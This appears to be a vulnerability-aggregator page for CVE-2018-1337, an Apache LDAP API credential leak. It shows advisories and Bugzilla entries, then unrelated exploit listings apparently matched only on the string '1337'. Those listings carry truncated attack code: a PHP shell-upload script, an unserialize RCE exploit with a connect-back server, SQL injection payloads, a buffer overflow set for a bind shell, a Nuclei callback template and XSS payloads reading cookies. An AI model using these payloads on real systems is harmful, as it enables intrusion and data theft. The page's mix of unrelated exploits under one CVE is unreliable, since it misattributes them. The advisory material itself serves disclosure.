CVE-2018-1337
published 2018-07-10CVE-2018-1337: In Apache Directory LDAP API before 1.0.2, a bug in the way the SSL Filter was setup made it possible for another thread to use the connection before the TLS…
PriorityP350critical9.8CVSS 3.0
AVNACLPRNUINSUCHIHAH
EPSS
5.17%
91.5th percentile
In Apache Directory LDAP API before 1.0.2, a bug in the way the SSL Filter was setup made it possible for another thread to use the connection before the TLS layer has been established, if the connection has already been used and put back in a pool of connections, leading to leaking any information contained in this request (including the credentials when sending a BIND request).
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | directory_ldap_api | < 1.0.2 | 1.0.2 |
| apache_software_foundation | apache_directory | — | — |
CVSS provenance
nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.05.0MEDIUMAV:N/AC:L/Au:N/C:P/I:N/A:N
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
Credential leak in org.apache.directory.api:apache-ldap-api
osv·2018-11-09
CVE-2018-1337 [CRITICAL] Credential leak in org.apache.directory.api:apache-ldap-api
Credential leak in org.apache.directory.api:apache-ldap-api
In Apache LDAP API before 1.0.2, a bug in the way the SSL Filter was setup made it possible for another thread to use the connection before the TLS layer has been established, if the connection has already been used and put back in a pool of connections, leading to leaking any information contained in this request (including the credentials when sending a BIND request).
GHSA
Credential leak in org.apache.directory.api:apache-ldap-api
ghsa·2018-11-09
CVE-2018-1337 [CRITICAL] CWE-200 Credential leak in org.apache.directory.api:apache-ldap-api
Credential leak in org.apache.directory.api:apache-ldap-api
In Apache LDAP API before 1.0.2, a bug in the way the SSL Filter was setup made it possible for another thread to use the connection before the TLS layer has been established, if the connection has already been used and put back in a pool of connections, leading to leaking any information contained in this request (including the credentials when sending a BIND request).
No detection rules found.
Exploit-DB
KingMedia 4.1 - File Upload
exploitdb·2018-08-22
KingMedia 4.1 - File Upload
KingMedia 4.1 - File Upload
---
# Exploit Title: KingMedia 4.1 - Remote Code Execution
# Author: Efren Diaz
# Exploit Date: 2018-08-15
# Software: KingMedia
# Version: 1.x, 2.x, 3.x, 4.1
# Link: https://codecanyon.net/item/king-media-video-image-upload-and-share/7877877
# CVE: N/A
\n\n";
echo " -target: http://site.com/... (required)\n";
echo " -file: shell.php (required)\n";
echo " -socks5: 127.0.0.1:1337 (optional)\n\n";
} else {
echo "\nUploading file...\n\n";
$file = $argv[2];
$target = $argv[1];
$mimeType = image_type_to_mime_type(exif_imagetype($file));
$cFile = curl_file_create($file, $mimeType, $file);
$post = array(
'ImageFile'=> $cFile
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post
Exploit-DB
Easylogin Pro 1.3.0 - 'Encryptor.php' Unserialize Remote Code Execution
exploitdb·2018-08-20·CVSS 8.1
CVE-2018-15576 [HIGH] Easylogin Pro 1.3.0 - 'Encryptor.php' Unserialize Remote Code Execution
Easylogin Pro 1.3.0 - 'Encryptor.php' Unserialize Remote Code Execution
---
#!/usr/bin/php
-c
-t: target server (ip with or without port)
-c: connectback server (ip and port)
Example:
php ./e.php -t 172.16.175.136 -c 172.16.175.137:1337
mr_me@pluto:~$ ./e.php -t 172.16.175.137 -c 172.16.175.136:1337
Easylogin Pro key = $key;
$this->cipher = $cipher;
}
public function encrypt($value, $serialize = true){
$iv = random_bytes(openssl_cipher_iv_length($this->cipher));
$value = openssl_encrypt(
$serialize ? serialize($value) : $value,
$this->cipher, $this->key, 0, $iv
);
if ($value === false) {
throw new EncryptException('Could not encrypt the data.');
}
$mac = $this->hash($iv = base64_encode($iv), $value);
$json = json_encode(compact('iv', 'value', 'mac'));
if (json_last_error() !== JSON_ERR
Exploit-DB
Sitemakin SLAC 1.0 - 'my_item_search' SQL Injection
exploitdb·2018-05-29·CVSS 9.8
CVE-2018-11535 [CRITICAL] Sitemakin SLAC 1.0 - 'my_item_search' SQL Injection
Sitemakin SLAC 1.0 - 'my_item_search' SQL Injection
---
# # # # #
# Exploit Title: SLAC v1.0: Blind SQL Injection / XPath Injection
# Date: 29-05-2018
# Vendor Homepage: https://sitemakin.com/login-script-demo
# Exploit Author: Divya Jain
# Version: v1.0
# CVE: CVE-2018-11535
# Category: Webapps
# Severity: High
# Tested on: KaLi LinuX_x64
# # # # #
# Proof of Concept:
////////////////////////////////////////////////
SQL Injection in "my_item_search" parameter
////////////////////////////////////////////////
# Affected Link: demo.com/login-script-demo/users.php
# Parameter "my_item_search" is exploitable using xpath injection
# Payload 1:
my_item_search=1337'and extractvalue(5566,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x
Exploit-DB
EasyService Billing 1.0 - 'q' SQL Injection
exploitdb·2018-05-26·CVSS 9.8
CVE-2018-11444 [CRITICAL] EasyService Billing 1.0 - 'q' SQL Injection
EasyService Billing 1.0 - 'q' SQL Injection
---
<!--
# Exploit Title: EasyService Billing 1.0 SQL Injection on page jobcard-ongoing.php?q=
# Date: 25-05-2018
# Software Link: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594
# Exploit Author: Divya Jain
# Version: EasyService Billing 1.0
# CVE: CVE-2018-11444
# Category: Webapps
# Severity: High
# Tested on: KaLi LinuX_x64
# # # # # # # #
#
# Proof of Concept:
////////////////////////////////
SQL Injection in q parameter
///////////////////////////////
Affected Link: test.com/EasyServiceBilling/jobcard-ongoing.php?q=
# Boolean Based Blind SQL
Payload: 1337'OR%20NOT 1=1--
Link: test.com/EasyServiceBilling/jobcard-ongoing.php?q=1337'OR%20NOT 1=1--
# Error-Based SQL
Payload: 1337'AND%2
Exploit-DB
SysGauge Server 3.6.18 - Remote Buffer Overflow
exploitdb·2018-01-15·CVSS 8.1
CVE-2018-5359 [HIGH] SysGauge Server 3.6.18 - Remote Buffer Overflow
SysGauge Server 3.6.18 - Remote Buffer Overflow
---
# Exploit Title: SysGauge Server 3.6.18 - Buffer Overflow
# Exploit Author: Ahmad Mahfouz
# Description: Sysgauge Server Unauthenticated Remote Buffer Overflow SEH
# Contact: http://twitter.com/eln1x
# Date: 12/01/2018
# CVE: CVE-2018-5359
# Version: 3.6.18
# Tested on: Windows 7 x64
# Software Link: hhttp://www.sysgauge.com/setups/sysgaugesrv_setup_v3.6.18.exe
from struct import pack
from os import system
from sys import exit
from time import sleep
import socket
port = 9221
host = '192.168.72.231'
stage1 = "\x83\xc4\x7f" *16 # metasm > add esp,127
stage1 += "\x83\xc4\x04" # metasm > add esp,4
stage1 += "\xff\xe4" # metasm > jmp esp
# msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=1337 -f py -b '\x02'
buf = ""
Nuclei
OpenMRS Platform < 2.24.0 - Insecure Object Deserialization
nuclei·CVSS 9.8
CVE-2018-19276 [CRITICAL] OpenMRS Platform < 2.24.0 - Insecure Object Deserialization
OpenMRS Platform
hashCode
curl{{interactsh-url}}
false
0
0
0
start
1337
payloads:
path:
- ""
- "/openmrs"
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
- 'contains(content_type, "application/json")'
- 'contains(body, "message\":")'
condition: and
# digest: 4b0a004830460221009f09f605d3fedfc24772c4df984695b14fdfdc72ad991cd19b7b537915d968d402210093788b7693886a476fd888264df9551783afb82eb2e5fef92fb65a4905ce86ac:922c64590222798bb761d5b6d8e72950
HackerOne
[ CVE-2018-1000129 ] RXSS At `https://███████` via the URI
hackerone·2024-12-18·CVSS 6.1
CVE-2018-1000129 [MEDIUM] [ CVE-2018-1000129 ] RXSS At `https://███████` via the URI
[ CVE-2018-1000129 ] RXSS At `https://███████` via the URI
Hi `DOD` Team,
## System Host(s)
████████
CVE Numbers:
* # CVE-2018-1000129
# POC:
* https://█████%3Csvg%20onload=alert%28'1337'%29%3E?mimeType=text/html
* https://██████████%3Csvg%20onload=alert%28document.domain%29%3E?mimeType=text/html
* https://████████%3Csvg%20onload=alert%28document.cookie%29%3E?mimeType=text/html
* ████
## Impact
Attackers can execute scripts in a victim’s browser to steal the user's cookies, hijack user sessions, deface websites, insert hostile content, redirect users, hijack the user’s browser using malware, etc...
Thanks.
Bugzilla
CVE-2018-18024 ImageMagick: infinite loop in the ReadBMPImage function of the coders/bmp.c
bugzilla·2018-10-08·CVSS 6.5
CVE-2018-18024 [MEDIUM] CVE-2018-18024 ImageMagick: infinite loop in the ReadBMPImage function of the coders/bmp.c
CVE-2018-18024 ImageMagick: infinite loop in the ReadBMPImage function of the coders/bmp.c
A flaw was found in ImageMagick 7.0.8-13 Q16, there is an infinite loop in the ReadBMPImage function of the coders/bmp.c file. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted bmp file.
References:
https://github.com/ImageMagick/ImageMagick/issues/1337
Upstream Patches:
https://github.com/ImageMagick/ImageMagick/commit/948f1c86d649a29df08a38d2ff8b91cdf3e92b82
https://github.com/ImageMagick/ImageMagick6/commit/b268ce7a59440972f4476b9fd98104b6a836d971
Discussion:
Created ImageMagick tracking bugs for this issue:
Affects: fedora-all [bug 1637190]
---
Statement:
This issue affects the versions of ImageMagick as shipped with Red Hat Enterprise Linux 5
Bugzilla
CVE-2018-1337 apache-ldap-api: Plaintext Password Disclosure in Secured Channel
bugzilla·2018-07-10·CVSS 9.8
CVE-2018-1337 [CRITICAL] CVE-2018-1337 apache-ldap-api: Plaintext Password Disclosure in Secured Channel
CVE-2018-1337 apache-ldap-api: Plaintext Password Disclosure in Secured Channel
In Apache LDAP API before 1.0.2, a bug in the way the SSL Filter was setup made it possible for another thread to use the connection before the TLS layer has been established, if the connection has already been used and put back in a pool of connections, leading to leaking any information contained in this request (including the credentials when sending a BIND request).
References:
https://lists.apache.org/thread.html/d66081195e9a02ee7cc20fb243b60467d1419586eed28297d820768f@%3Cdev.directory.apache.org%3E
Discussion:
Created apacheds-ldap-api tracking bugs for this issue:
Affects: fedora-all [bug 1599887]
---
This CVE Bugzilla entry is for community support informational purposes only as it does not affe
Bugzilla
CVE-2018-1337 apacheds-ldap-api: apache-ldap-api: Plaintext Password Disclosure in Secured Channel [fedora-all]
bugzilla·2018-07-10·CVSS 9.8
CVE-2018-1337 [CRITICAL] CVE-2018-1337 apacheds-ldap-api: apache-ldap-api: Plaintext Password Disclosure in Secured Channel [fedora-all]
CVE-2018-1337 apacheds-ldap-api: apache-ldap-api: Plaintext Password Disclosure in Secured Channel [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOTE: this issue a
http://www.securityfocus.com/bid/104744https://lists.apache.org/thread.html/d66081195e9a02ee7cc20fb243b60467d1419586eed28297d820768f%40%3Cdev.directory.apache.org%3Ehttps://lists.apache.org/thread.html/r0e645b3f6ca977dc60b7cec231215c59a9471736c2402c1fef5a0616%40%3Cjira.kafka.apache.org%3Ehttps://lists.apache.org/thread.html/r1815fb5b0c345f571c740e7a1b48d7477647edd4ffcf9d5321e69446%40%3Cdev.kafka.apache.org%3Ehttps://lists.apache.org/thread.html/r1a258430d820a90ff9d4558319296cc517ff2252327d7b3546d16749%40%3Cjira.kafka.apache.org%3Ehttps://lists.apache.org/thread.html/r4da40aa50cfdb2158898f2bc6df81feec1d42c6a06db6537d5cc0496%40%3Cjira.kafka.apache.org%3Ehttps://lists.apache.org/thread.html/r55e74532e7f9e84ecfa56b4e0a50a5fe0ba6f7a76880520e4400b0d7%40%3Cjira.kafka.apache.org%3Ehttps://lists.apache.org/thread.html/r56b304fb9960c869995efbb31da3b9b7c6d53ee31f7f7048eb80434b%40%3Cdev.kafka.apache.org%3Ehttp://www.securityfocus.com/bid/104744https://lists.apache.org/thread.html/d66081195e9a02ee7cc20fb243b60467d1419586eed28297d820768f%40%3Cdev.directory.apache.org%3Ehttps://lists.apache.org/thread.html/r0e645b3f6ca977dc60b7cec231215c59a9471736c2402c1fef5a0616%40%3Cjira.kafka.apache.org%3Ehttps://lists.apache.org/thread.html/r1815fb5b0c345f571c740e7a1b48d7477647edd4ffcf9d5321e69446%40%3Cdev.kafka.apache.org%3Ehttps://lists.apache.org/thread.html/r1a258430d820a90ff9d4558319296cc517ff2252327d7b3546d16749%40%3Cjira.kafka.apache.org%3Ehttps://lists.apache.org/thread.html/r4da40aa50cfdb2158898f2bc6df81feec1d42c6a06db6537d5cc0496%40%3Cjira.kafka.apache.org%3Ehttps://lists.apache.org/thread.html/r55e74532e7f9e84ecfa56b4e0a50a5fe0ba6f7a76880520e4400b0d7%40%3Cjira.kafka.apache.org%3Ehttps://lists.apache.org/thread.html/r56b304fb9960c869995efbb31da3b9b7c6d53ee31f7f7048eb80434b%40%3Cdev.kafka.apache.org%3E
2018-07-10
Published